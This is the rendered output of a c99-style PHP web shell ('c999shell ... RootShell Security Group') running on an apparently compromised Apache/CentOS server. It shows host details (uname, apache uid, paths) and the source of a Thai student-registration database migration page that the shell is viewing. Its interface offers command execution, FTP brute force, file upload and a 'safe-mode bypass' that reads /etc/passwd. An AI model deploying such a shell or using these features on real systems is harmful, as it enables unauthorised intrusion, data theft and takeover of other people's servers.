!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/xmigratex/   drwxr-xr-x
Free 40.52 GB of 127.8 GB (31.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (13.96 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<html>
<head>
<title>Migrate ฐานข้อมูลระบบทะเบียนเก่าไปฐานข้อมูลระบบทะเบียนใหม่</title>
</head>
<script type="text/javascript">
function pop(h,u,p,oDB,otb_name,moDB,motb_name,cases)
{
    var url = "cmp_detail.php?h="+h+"&u="+u+"&oDB="+oDB+"&otb_name="+otb_name+"&moDB="+moDB+"&motb_name="+motb_name+"&cases="+cases+"&p="+p;
    testwindow = window.open(url, "Compare detail", "location=1,status=1,scrollbars=1,width=800,height=800");
    //testwindow.moveTo(0, 0);
}
</script>
<style>
body {font-size:14px;}
</style>
<script language="javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js" ></script>
<script language="javascript" >

    function dodCallAjax(ur,No){
        $("body").css("cursor", "progress") ;

        var url = ur;
        //var xhr = jQuery.ajaxSettings.xhr();
        $.ajax({

            url: url,
            global: false,
            type: "POST",
            data: {
                dbNo : No ,
                pbri_s : $("#pbri_s").val() ,
                pbri_u : $("#pbri_u").val() ,
                pbri_p : $("#pbri_p").val() ,
                localhost_s : $("#localhost_s").val() ,
                localhost_u : $("#localhost_u").val() ,
                localhost_p : $("#localhost_p").val() ,
                path_mysql : $("#path_mysql").val()
                },
            //      data: ({id : this.getAttribute('id')}),
            dataType: "html",//'json',
            async:false,
              onProgress: function(event) {
                if (event.lengthComputable) {
                  var percentage = Math.round(event.loaded / event.total * 100);
                  $('#mySpan').html('loading ... '+ percentage + '%');
                }else{
                    $('#mySpan').html('loading ... error lengthComputable');
                }
              },

            success: function(data) 
            {
                $('#mySpan').html(data);
                $("body").css("cursor", "auto") ;
            },
            error: function(xhr,state,exception) 
            { //alert("error"); 

                alert(state+', xhr.status = '+xhr.status);
            }
        });
    }


</script>
<script language="JavaScript">
    /*** By Weerachai Nukitram***/
    /***  http://www.ThaiCreate.Com ***/    
       var HttPRequest = false;

       function doCallAjax(ur,No) {

          HttPRequest = false;
          if (window.XMLHttpRequest) { // Mozilla, Safari,...
             HttPRequest = new XMLHttpRequest();
             if (HttPRequest.overrideMimeType) {
                HttPRequest.overrideMimeType('text/html');
             }
          } else if (window.ActiveXObject) { // IE
             try {
                HttPRequest = new ActiveXObject("Msxml2.XMLHTTP");
             } catch (e) {
                try {
                   HttPRequest = new ActiveXObject("Microsoft.XMLHTTP");
                } catch (e) {}
             }
          } 
          
          if (!HttPRequest) {
             alert('Cannot create XMLHTTP instance');
             return false;
          }

        var url = ur;
        var dbNo = No;
        var pmeters = "dbppc=" +  document.getElementById("dbppc").value +"&dbmoreg=" +  document.getElementById("dbmoreg").value +"&dbreg=" + document.getElementById("dbreg").value +"&localhost_s=" + document.getElementById("localhost_s").value +"&localhost_u=" +  document.getElementById("localhost_u").value +"&localhost_p=" +  document.getElementById("localhost_p").value + "&dbNo=" +dbNo +"&oums=" +  document.getElementById("oums").value+"&nums=" +  document.getElementById("nums").value+"&path_mysql=" +  document.getElementById("path_mysql").value;
//"pbri_s=" +  document.getElementById("pbri_s").value +"&pbri_u=" +  document.getElementById("pbri_u").value +
//              "&pbri_p=" +  document.getElementById("pbri_p").value + 
        document.getElementById("mySpan").innerHTML = "<br> Now is Loading...";
        //HttPRequest.addEventListener("progress", onUpdateProgress, false); 

        HttPRequest.open('POST',url,true);

        HttPRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        HttPRequest.setRequestHeader("Content-length", pmeters.length);
    //    HttPRequest.setRequestHeader("Connection", "close");

        //HttPRequest.onload = onUpdateProgress;

        HttPRequest.send(pmeters);

        HttPRequest.onreadystatechange = function(evt)
        {

            if(HttPRequest.readyState == 4) // Return Request
            {

            //    if(HttPRequest.responseText == 'Y')
            //    {
            //        window.location = 'AjaxPHPLoginForm3.php';
            //    }
            //    else
            //    {
                    document.getElementById("mySpan").innerHTML = HttPRequest.responseText;
            //    }
                    document.getElementById("progressMessage").innerHTML = "";
            }
            
        }

    }


    </script>
<body>
<h>Migrate ฐานข้อมูลระบบทะเบียนเก่าไปฐานข้อมูลระบบทะเบียนใหม่</h>

<form name="frmMain">
<!-- <table width="250" border="1">
  <tr>
    <th width="117">
      <div align="left">Username</div></th>
    <th><input type="text" name="txtUsername" id="txtUsername" size="20"></th>
  </tr>
  <tr>
    <th width="117">
      <div align="left">Password</div></th>
    <th><input type="password" name="txtPassword" id="txtPassword" size="20"></th>
  </tr> 
</table> -->

<table width="100%" border="0">
<tr><td width="50%" valign='top'>

<table width="100%" border="0">
<!-- <tr><td >ตั้งค่าตัวแปร
<input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('createSetPmeter.php','1');" value="pbri2mo_reg">&nbsp;
<input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('createSetPmeter.php','2');" value="reg2reg">&nbsp;
<input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('createSetPmeter.php','3');" value="reg2ppc">&nbsp;
<input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('createSetPmeter.php','4');" value="all_reg2mo_reg">&nbsp;
</td></tr> -->
<tr><td >
<fieldset>
<legend> </legend>
    <font size='2'>
    <br />
<!--     pbri_server <input type="text" name="pbri_s" id="pbri_s" size="20" value="118.174.12.18">&nbsp;
    User <input type="text" name="pbri_u" id="pbri_u" size="20" >&nbsp;Password <input type="password" name="pbri_p" id="pbri_p" size="20">
 -->
 <fieldset>
    <legend>input</legend>
    ชื่อฐานข้อมูลระบบทะเบียนเดิม <input type="text" name="dbreg" id="dbreg" size="15"  value="reg">&nbsp;
    <br /><br />
    ชื่อฐานข้อมูลระบบทะเบียนใหม่ <input type="text" name="dbmoreg" id="dbmoreg" size="15"  value="regist">&nbsp;
    <br /><br />
    ชื่อฐานข้อมูลระบบข้อมูลพื้นฐานกลาง <input type="text" name="dbppc" id="dbppc" size="15"  value="peoplecenter">&nbsp;
    <br /><br />

    local_server <input type="text" name="localhost_s" id="localhost_s" size="20"  value="localhost">&nbsp;
    User <input type="text" name="localhost_u" id="localhost_u" size="20" value="" >&nbsp;Password <input type="password" name="localhost_p" id="localhost_p" size="20" value="">
    <br /><br />
    Path MySql : <input type="text" name="path_mysql" id="path_mysql" size="20"  value="mysql">
</fieldset>
<fieldset>
    <legend>ตรวจสอบข้อมูลก่อนคัดลอกข้อมูล</legend>
<!--     <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('create_trigger_rg_regisDetails.php','3');" value="A1">
    ปรับข้อมูล parentName
    <br /><br /> -->
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('report_sy_list.php','1');" value="Check">
    การเลื่อนชั้นปี

</fieldset>
<fieldset>
    <legend>คัดลอกข้อมูล</legend>
    <br />
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('run_script.php','1');" value="1">&nbsp;

    สร้าง `ฐานข้อมูลระบบทะเบียนใหม่`

    <br /><br />
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('migrate.php','1');" value="2" > <!-- disabled="disabled" -->

    คัดลอกข้อมูลจาก `ฐานข้อมูลพื้นฐานของสบช.` ไป `ฐานข้อมูลระบบทะเบียนใหม่` 

    <br /><br />&nbsp;&nbsp;
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('compare.php','1');" value="2.1">

    เปรียบเทียบข้อมูลพื้นฐานของวิทยาลัย กับ สบช.และ execute query ปรับปรุงข้อมูล

    <br /><br />&nbsp;&nbsp;
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('updateDate.php','1');" value="2.2" >

    ตรวจสอบและ execute query แปลงวันที่ในตาราง rg_TermConfig จากปีพ.ศ. เป็น ปีค.ศ.

<!--     <br /><br />&nbsp;&nbsp;

    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('create_trigger_rg_regisDetails.php','3');" value="2.2">

    ปรับข้อมูล parentName  -->

    <br /><br />
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('migrate.php','2');" value="3">

    คัดลอกข้อมูลจาก `ฐานข้อมูลระบบทะเบียนเดิม` ไป `ฐานข้อมูลระบบทะเบียนใหม่` 

    <br /><br />&nbsp;&nbsp;
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('compare.php','2');" value="3.1">

    เปรียบเทียบข้อมูลระบบทะเบียนเดิมกับข้อมูลระบบทะเบียนใหม่ 

    <br /><br />&nbsp;&nbsp;
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('compare.php','3');" value="3.2">

    เปรียบเทียบข้อมูลระบบทะเบียนเดิมกับข้อมูลระบบทะเบียนใหม่ทั้งหมด

<!--     <br /><br />&nbsp;&nbsp;
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('create_trigger_rg_regisDetails.php','2');" value="3.3">

    ตรวจสอบการเลื่อนชั้นปีที่เกิน 3 ครั้ง -->
    <br /><br />

    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('run_script.php','2');" value="4"  >

    สร้าง `ฐานข้อมูลระบบข้อมูลพื้นฐานกลาง` 

    <br /><br />

    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('migrate.php','3');" value="5" >

    คัดลอกข้อมูลจาก `ฐานข้อมูลระบบทะเบียนเดิม` ไป `ฐานข้อมูลระบบข้อมูลพื้นฐานกลาง`

    <br /><br />&nbsp;&nbsp;
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('compare.php','4');" value="5.1">

    เปรียบเทียบข้อมูลระบบทะเบียนใหม่กับข้อมูลพื้นฐานกลาง จำนวน 
    <br /><br />&nbsp;&nbsp;

    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('cmp_cnt.php','1');" value="5.2">

    ตรวจสอบข้อมูลชื่อประเทศในตารางจังหวัด 

    <br /><br />&nbsp;&nbsp;

    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('update_fk.php','3');" value="5.3">

    ปรับ Foreign key ข้อมูลระบบทะเบียนใหม่ให้ตรงกับ Primary key ข้อมูลระบบข้อมูลพื้นฐานกลาง
    <br /><br />

    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('run_script.php','3');" value="6">

    Update Foreign key ข้อมูลระบบทะเบียนใหม่
    &nbsp;&nbsp;&nbsp;&nbsp;| 
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('run_script.php','4');" value="6.1">

    Drop Foreign key ข้อมูลระบบทะเบียนใหม่

    <br /><br />

    ชื่อฐานข้อมูล ums เดิม <input type="text" name="oums" id="oums" size="15"  value="ums">&nbsp;
    ชื่อฐานข้อมูล ums ใหม่ <input type="text" name="nums" id="nums" size="15"  value="ums2">&nbsp;
    <br /><br />
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('run_script.php','5');" value="7">

    CREATE DATABASE mo_ums

    <br /><br />
    <input name="btnLogin" type="button" id="btnLogin" OnClick="JavaScript:doCallAjax('create_trigger_rg_regisDetails.php','1');" value="8">

    CREATE TRIGGER rg_regisDetail
    </fieldset>
    </font>
</fieldset>
</td></tr>
</table>
</td>
<td width="50%" valign='top'>
    <table width="100%" border='0'>
        <tr><td width="100%" valign='top'>
        <fieldset >
            <legend> </legend>
            <span id="mySpan"></span><br />
            <span id="progressMessage"></span>
        </fieldset>
        </td></tr>
    </table>
</td></tr>
</table>

<hr><br>

</form>

<? //include_once"migrate.php"; ?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0142 ]--